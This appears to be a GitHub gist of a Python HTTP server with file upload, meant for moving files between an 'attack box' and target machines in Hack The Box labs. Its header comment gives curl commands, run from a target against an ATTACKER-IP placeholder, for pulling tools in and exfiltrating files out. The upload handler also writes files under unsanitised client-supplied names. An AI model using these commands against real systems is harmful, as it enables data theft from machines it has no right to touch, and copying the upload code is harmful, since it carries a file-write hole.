Forked from smidgedy/SimpleHTTPServerWithUpload.py
Last active
March 26, 2021 11:35
-
-
Save wuvei/e1bf7b0986dcc871a1f919e2138fb737 to your computer and use it in GitHub Desktop.
Simple Python Http Server with Upload
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/env python3 | |
| ######################################################################## | |
| # | |
| # Simple HTTP server that supports file upload for moving data around | |
| # between boxen on HTB. Based on a gist by bones7456, but mangled by me | |
| # as I've tried (badly) to port it to Python 3, code golf it, and make | |
| # It a little more robust. I was also able to strip out a lot of the | |
| # code trivially because Python3 SimpleHTTPServer is a thing, and the | |
| # cgi module handles multipart data nicely. | |
| # | |
| # Lifted from: https://gist.github.com/UniIsland/3346170 | |
| # https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c | |
| # | |
| # Important to note that this tool is quick and dirty and is a good way | |
| # to get yourself popped if you're leaving it running out in the real | |
| # world. | |
| # | |
| # Run it on your attack box from the folder that contains your tools. | |
| # | |
| # On the server side: | |
| # python3 SimpleHTTPServerWithUpload.py | |
| # python3 SimpleHTTPServerWithUpload.py --bind <ip> <port> | |
| # | |
| # From the target machine: | |
| # Infil file: curl -O http://<ATTACKER-IP>:33445/<FILENAME> | |
| # Exfil file: curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:33445/ | |
| # Python: requests.post(<path-on-server-side>, files={'file': open(output_file, 'rb')}) | |
| # | |
| # Multiple file upload supported, just add more -F 'file=@<FILENAME>' | |
| # parameters to the command line. | |
| # | |
| ######################################################################## | |
| import http.server | |
| import socketserver | |
| import io | |
| import cgi | |
| import os | |
| import argparse | |
| # Change this to serve on a different port | |
| PORT = 33445 | |
| class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler): | |
| def do_POST(self): | |
| r, info = self.deal_post_data() | |
| print(r, info, "by: ", self.client_address) | |
| f = io.BytesIO() | |
| if r: | |
| f.write(b"Success\n") | |
| else: | |
| f.write(b"Failed\n") | |
| length = f.tell() | |
| f.seek(0) | |
| self.send_response(200) | |
| self.send_header("Content-type", "text/plain") | |
| self.send_header("Content-Length", str(length)) | |
| self.end_headers() | |
| if f: | |
| self.copyfile(f, self.wfile) | |
| f.close() | |
| def deal_post_data(self): | |
| ctype, pdict = cgi.parse_header(self.headers['Content-Type']) | |
| pdict['boundary'] = bytes(pdict['boundary'], "utf-8") | |
| pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length']) | |
| if ctype == 'multipart/form-data': | |
| form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], }) | |
| path = self.translate_path(self.path) | |
| path_dir = os.path.dirname(path) | |
| try: | |
| os.makedirs(path_dir, exist_ok=True) | |
| if isinstance(form["file"], list): | |
| for record in form["file"]: | |
| open(os.path.join(path_dir, record.filename), "wb").write(record.file.read()) | |
| else: | |
| # print(form["file"].filename) | |
| open(os.path.join(path_dir, form["file"].filename), "wb").write(form["file"].file.read()) | |
| except IOError: | |
| return (False, "Can't create file to write, do you have permission to write?") | |
| return (True, "Files uploaded") | |
| if __name__ == '__main__': | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument('--bind', '-b', default='', metavar='ADDRESS', | |
| help='Specify alternate bind address ' | |
| '[default: all interfaces]') | |
| parser.add_argument('port', action='store', | |
| default=PORT, type=int, | |
| nargs='?', | |
| help='Specify alternate port [default: {}]'.format(PORT)) | |
| args = parser.parse_args() | |
| Handler = CustomHTTPRequestHandler | |
| with socketserver.TCPServer((args.bind, args.port), Handler) as httpd: | |
| ip_addr = args.bind if args.bind != '' else '0.0.0.0' | |
| print("serving at {}:{}".format(ip_addr, args.port)) | |
| httpd.serve_forever() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment